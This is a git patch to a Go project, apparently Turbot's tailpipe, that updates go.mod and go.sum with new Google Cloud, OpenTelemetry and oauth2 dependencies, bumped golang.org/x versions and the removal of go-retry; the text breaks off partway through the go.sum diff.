2001 From: kai Date: Tue, 30 Jul 2024 09:00:53 +0100 Subject: [PATCH 028/180] go.mod --- go.mod | 39 ++++++++++--- go.sum | 169 ++++++++++++++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 187 insertions(+), 21 deletions(-) diff --git a/go.mod b/go.mod index 0c81a36e..fada07f9 100644 --- a/go.mod +++ b/go.mod @@ -11,6 +11,11 @@ replace github.com/turbot/pipe-fittings => ../pipe-fittings require github.com/turbot/tailpipe-plugin-sdk v0.0.0 require ( + cloud.google.com/go v0.112.1 // indirect + cloud.google.com/go/compute v1.25.1 // indirect + cloud.google.com/go/compute/metadata v0.2.3 // indirect + cloud.google.com/go/iam v1.1.6 // indirect + cloud.google.com/go/storage v1.38.0 // indirect github.com/Masterminds/semver/v3 v3.2.1 // indirect github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d // indirect github.com/aws/aws-sdk-go v1.44.183 // indirect @@ -35,10 +40,18 @@ require ( github.com/aws/smithy-go v1.20.3 // indirect github.com/btubbs/datetime v0.1.1 // indirect github.com/fatih/color v1.15.0 // indirect + github.com/felixge/httpsnoop v1.0.4 // indirect github.com/gertd/go-pluralize v0.2.1 // indirect + github.com/go-logr/logr v1.4.1 // indirect + github.com/go-logr/stdr v1.2.2 // indirect github.com/go-ole/go-ole v1.2.6 // indirect + github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect github.com/golang/protobuf v1.5.4 // indirect github.com/google/go-cmp v0.6.0 // indirect + github.com/google/s2a-go v0.1.7 // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/googleapis/enterprise-certificate-proxy v0.3.2 // indirect + github.com/googleapis/gax-go/v2 v2.12.2 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-hclog v1.6.2 // indirect github.com/hashicorp/go-plugin v1.6.1 // indirect @@ -51,12 +64,12 @@ require ( github.com/mattn/go-colorable v0.1.13 // indirect github.com/mattn/go-isatty v0.0.19 // indirect github.com/mattn/go-runewidth v0.0.13 // indirect + github.com/mitchellh/go-homedir v1.1.0 // indirect github.com/mitchellh/go-testing-interface v1.14.1 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/oklog/run v1.0.0 // indirect github.com/olekukonko/tablewriter v0.0.5 // indirect github.com/rivo/uniseg v0.2.0 // indirect - github.com/sethvargo/go-retry v0.2.4 // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect github.com/spf13/cobra v1.7.0 // indirect github.com/spf13/pflag v1.0.5 // indirect @@ -66,14 +79,26 @@ require ( github.com/turbot/go-kit v0.10.0-rc.0 // indirect github.com/turbot/steampipe-plugin-code v0.7.0 // indirect github.com/yusufpapurcu/wmi v1.2.2 // indirect + go.opencensus.io v0.24.0 // indirect + go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0 // indirect + go.opentelemetry.io/otel v1.24.0 // indirect + go.opentelemetry.io/otel/metric v1.24.0 // indirect + go.opentelemetry.io/otel/trace v1.24.0 // indirect + golang.org/x/crypto v0.25.0 // indirect golang.org/x/exp v0.0.0-20231006140011-7918f672742d // indirect - golang.org/x/net v0.23.0 // indirect - golang.org/x/sync v0.6.0 // indirect - golang.org/x/sys v0.19.0 // indirect - golang.org/x/text v0.14.0 // indirect + golang.org/x/net v0.27.0 // indirect + golang.org/x/oauth2 v0.18.0 // indirect + golang.org/x/sync v0.7.0 // indirect + golang.org/x/sys v0.22.0 // indirect + golang.org/x/text v0.16.0 // indirect golang.org/x/time v0.5.0 // indirect - google.golang.org/genproto/googleapis/rpc v0.0.0-20240401170217-c3f982113cda // indirect - google.golang.org/grpc v1.64.0 // indirect + google.golang.org/api v0.169.0 // indirect + google.golang.org/appengine v1.6.8 // indirect + google.golang.org/genproto v0.0.0-20240213162025-012b6fc9bca9 // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20240318140521-94a12d6c2237 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20240722135656-d784300faade // indirect + google.golang.org/grpc v1.64.1 // indirect google.golang.org/protobuf v1.34.2 // indirect ) diff --git a/go.sum b/go.sum index cbb263e6..c66281fd 100644 --- a/go.sum +++ b/go.sum @@ -1,3 +1,15 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.112.1 h1:uJSeirPke5UNZHIb4SxfZklVSiWWVqW4oXlETwZziwM= +cloud.google.com/go v0.112.1/go.mod h1:+Vbu+Y1UU+I1rjmzeMOb/8RfkKJK2Gyxi1X6jJCZLo4= +cloud.google.com/go/compute v1.25.1 h1:ZRpHJedLtTpKgr3RV1Fx23NuaAEN1Zfx9hw1u4aJdjU= +cloud.google.com/go/compute v1.25.1/go.mod h1:oopOIR53ly6viBYxaDhBfJwzUAxf1zE//uf3IB011ls= +cloud.google.com/go/compute/metadata v0.2.3 h1:mg4jlk7mCAj6xXp9UJ4fjI9VUI5rubuGBW5aJ7UnBMY= +cloud.google.com/go/compute/metadata v0.2.3/go.mod h1:VAV5nSsACxMJvgaAuX6Pk2AawlZn8kiOGuCv6gTkwuA= +cloud.google.com/go/iam v1.1.6 h1:bEa06k05IO4f4uJonbB5iAgKTPpABy1ayxaIZV/GHVc= +cloud.google.com/go/iam v1.1.6/go.mod h1:O0zxdPeGBoFdWW3HWmBxJsk0pfvNM/p/qa82rWOGTwI= +cloud.google.com/go/storage v1.38.0 h1:Az68ZRGlnNTpIBbLjSMIV2BDcwwXYlRlQzis0llkpJg= +cloud.google.com/go/storage v1.38.0/go.mod h1:tlUADB0mAb9BgYls9lq+8MGkfzOXuLrnHXlpHmvFJoY= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/Masterminds/semver/v3 v3.2.1 h1:RN9w6+7QoMeJVGyfmbcgs28Br8cvmnucEXnY0rYXWg0= github.com/Masterminds/semver/v3 v3.2.1/go.mod h1:qvl/7zhW3nngYb5+80sSMF+FG2BjYrf8m9wsX0PNOMQ= github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpHMqeKTCYkitsPqHNxTmd4SNR5r94FGM8= @@ -46,22 +58,70 @@ github.com/btubbs/datetime v0.1.1 h1:KuV+F9tyq/hEnezmKZNGk8dzqMVsId6EpFVrQCfA3To github.com/btubbs/datetime v0.1.1/go.mod h1:n2BZ/2ltnRzNiz27aE3wUb2onNttQdC+WFxAoks5jJM= github.com/bufbuild/protocompile v0.4.0 h1:LbFKd2XowZvQ/kajzguUp2DC9UEIQhIq77fZZlaQsNA= github.com/bufbuild/protocompile v0.4.0/go.mod h1:3v93+mbWn/v3xzN+31nwkJfrEpAUwp+BagBSZWx+TP8= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= +github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= +github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= github.com/gertd/go-pluralize v0.2.1 h1:M3uASbVjMnTsPb0PNqg+E/24Vwigyo/tvyMTtAlLgiA= github.com/gertd/go-pluralize v0.2.1/go.mod h1:rbYaKDbsXxmRfr8uygAEKhOWsjyrrqrkHVpZvoOp8zk= +github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= +github.com/go-logr/logr v1.4.1 h1:pKouT5E8xu9zeFC39JXRDukb6JFQPXM5p5I91188VAQ= +github.com/go-logr/logr v1.4.1/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag= +github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE= github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= +github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= +github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/martian/v3 v3.3.2 h1:IqNFLAmvJOgVlpdEBiQbDc2EwKW77amAycfTuWKdfvw= +github.com/google/martian/v3 v3.3.2/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= +github.com/google/s2a-go v0.1.7 h1:60BLSyTrOV4/haCDW4zb1guZItoSq8foHCXrAnjBo/o= +github.com/google/s2a-go v0.1.7/go.mod h1:50CgR4k1jNlWBu4UfS4AcfhVe1r6pdZPygJ3R8F0Qdw= +github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/enterprise-certificate-proxy v0.3.2 h1:Vie5ybvEvT75RniqhfFxPRy3Bf7vr3h0cechB90XaQs= +github.com/googleapis/enterprise-certificate-proxy v0.3.2/go.mod h1:VLSiSSBs/ksPL8kq3OBOQ6WRI2QnaFynd1DCjZ62+V0= +github.com/googleapis/gax-go/v2 v2.12.2 h1:mhN09QQW1jEWeMF74zGR81R30z4VJzjZsfkUhuHF+DA= +github.com/googleapis/gax-go/v2 v2.12.2/go.mod h1:61M8vcyyXR2kqKFxKrfA22jaA8JGF7Dc8App1U3H6jc= github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ= github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= github.com/hashicorp/go-hclog v1.6.2 h1:NOtoftovWkDheyUM/8JW3QMiXyxJK3uHRK7wV04nD2I= @@ -96,6 +156,8 @@ github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y= +github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-testing-interface v1.14.1 h1:jrgshOhYAUVNMAJiKbEu7EqAwgJJ2JqpQmpLJOu07cU= github.com/mitchellh/go-testing-interface v1.14.1/go.mod h1:gfgS7OtZj6MA4U1UrDRp04twqAjfvlZyCfX3sDjEym8= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= @@ -108,13 +170,12 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 h1:Jamvg5psRIccs7FGNTlIRMkT8wgtp5eCXdBlqhYGL6U= github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= -github.com/sethvargo/go-retry v0.2.4 h1:T+jHEQy/zKJf5s95UkguisicE0zuF9y7+/vgz08Ocec= -github.com/sethvargo/go-retry v0.2.4/go.mod h1:1afjQuvh7s4gflMObvjLPaWgluLLyhA1wmVZ6KLpICw= github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I= @@ -122,7 +183,12 @@ github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRM github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.2/go.mod h1:R6va5+xMeoiuVRoj+gSkQ7d3FALtqAAGI1FQKckRals= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/tklauser/go-sysconf v0.3.9 h1:JeUVdAOWhhxVcU6Eqr/ATFHgXk/mmiItdKeJPev3vTo= @@ -138,25 +204,60 @@ github.com/turbot/steampipe-plugin-code v0.7.0/go.mod h1:GvdjncWum4sZNmR0iM03SKk github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg= github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= +go.opencensus.io v0.24.0 h1:y73uSU6J157QMP2kn2r30vwW1A2W2WFwSCGnAVxeaD0= +go.opencensus.io v0.24.0/go.mod h1:vNK8G9p7aAivkbmorf4v+7Hgx+Zs0yY+0fOtgBfjQKo= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0 h1:4Pp6oUg3+e/6M4C0A/3kJ2VYa++dsWVTtGgLVj5xtHg= +go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.49.0/go.mod h1:Mjt1i1INqiaoZOMGR1RIUJN+i3ChKoFRqzrRQhlkbs0= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0 h1:jq9TW8u3so/bN+JPT166wjOI6/vQPF6Xe7nMNIltagk= +go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0/go.mod h1:p8pYQP+m5XfbZm9fxtSKAbM6oIllS7s2AfxrChvc7iw= +go.opentelemetry.io/otel v1.24.0 h1:0LAOdjNmQeSTzGBzduGe/rU4tZhMwL5rWgtp9Ku5Jfo= +go.opentelemetry.io/otel v1.24.0/go.mod h1:W7b9Ozg4nkF5tWI5zsXkaKKDjdVjpD4oAt9Qi/MArHo= +go.opentelemetry.io/otel/metric v1.24.0 h1:6EhoGWWK28x1fbpA4tYTOWBkPefTDQnb8WSGXlc88kI= +go.opentelemetry.io/otel/metric v1.24.0/go.mod h1:VYhLe1rFfxuTXLgj4CBiyz+9WYBA8pNGJgDcSFRKBco= +go.opentelemetry.io/otel/sdk v1.22.0 h1:6coWHw9xw7EfClIC/+O31R8IY3/+EiRFHevmHafB2Gw= +go.opentelemetry.io/otel/sdk v1.22.0/go.mod h1:iu7luyVGYovrRpe2fmj3CVKouQNdTOkxtLzPvPz1DOc= +go.opentelemetry.io/otel/trace v1.24.0 h1:CsKnnL4dUAr/0llH9FKuc698G04IrpWV0MQA/Y1YELI= +go.opentelemetry.io/otel/trace v1.24.0/go.mod h1:HPc3Xr/cOApsBI154IU0OI0HJexz+aw5uPdbs3UCjNU= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.25.0 h1:ypSNr+bnYL2YhwoMt2zPxHFmbAN1KZs/njMG3hxUp30= +golang.org/x/crypto v0.25.0/go.mod h1:T+wALwcMOSE0kXgUAnPAHqTLW+XHgcELELW8VaDgm/M= +golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= golang.org/x/exp v0.0.0-20231006140011-7918f672742d h1:jtJma62tbqLibJ5sFQz8bKtEM8rJBtfilJ2qTU199MI= golang.org/x/exp v0.0.0-20231006140011-7918f672742d/go.mod h1:ldy0pHrwJyGW56pPQzzkH36rKxoZW1tw7ZJpeKx+hdo= +golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= +golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= -golang.org/x/net v0.23.0 h1:7EYJ93RZ9vYSZAIb2x3lnuvqO5zneoD6IvWjuhfxjTs= -golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= +golang.org/x/net v0.27.0 h1:5K3Njcw06/l2y9vpGCSdcxWOYHOUk3dVNGDXN+FvAys= +golang.org/x/net v0.27.0/go.mod h1:dDi0PyhWNoiUOrAS8uXv/vnScO4wnHQO4mj9fn/RytE= +golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= +golang.org/x/oauth2 v0.18.0 h1:09qnuIAgzdx1XplqJvW6CQqMCtGZykZWcXzPMPUusvI= +golang.org/x/oauth2 v0.18.0/go.mod h1:Wf7knwG0MPoWIMMBgFlEaSUDaKskp0dCfrlJRJXbBi8= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.6.0 h1:5BMeUDZ7vkXGfEr1x9B4bRcTH4lpkTkpdh0T/J+qjbQ= -golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M= +golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod 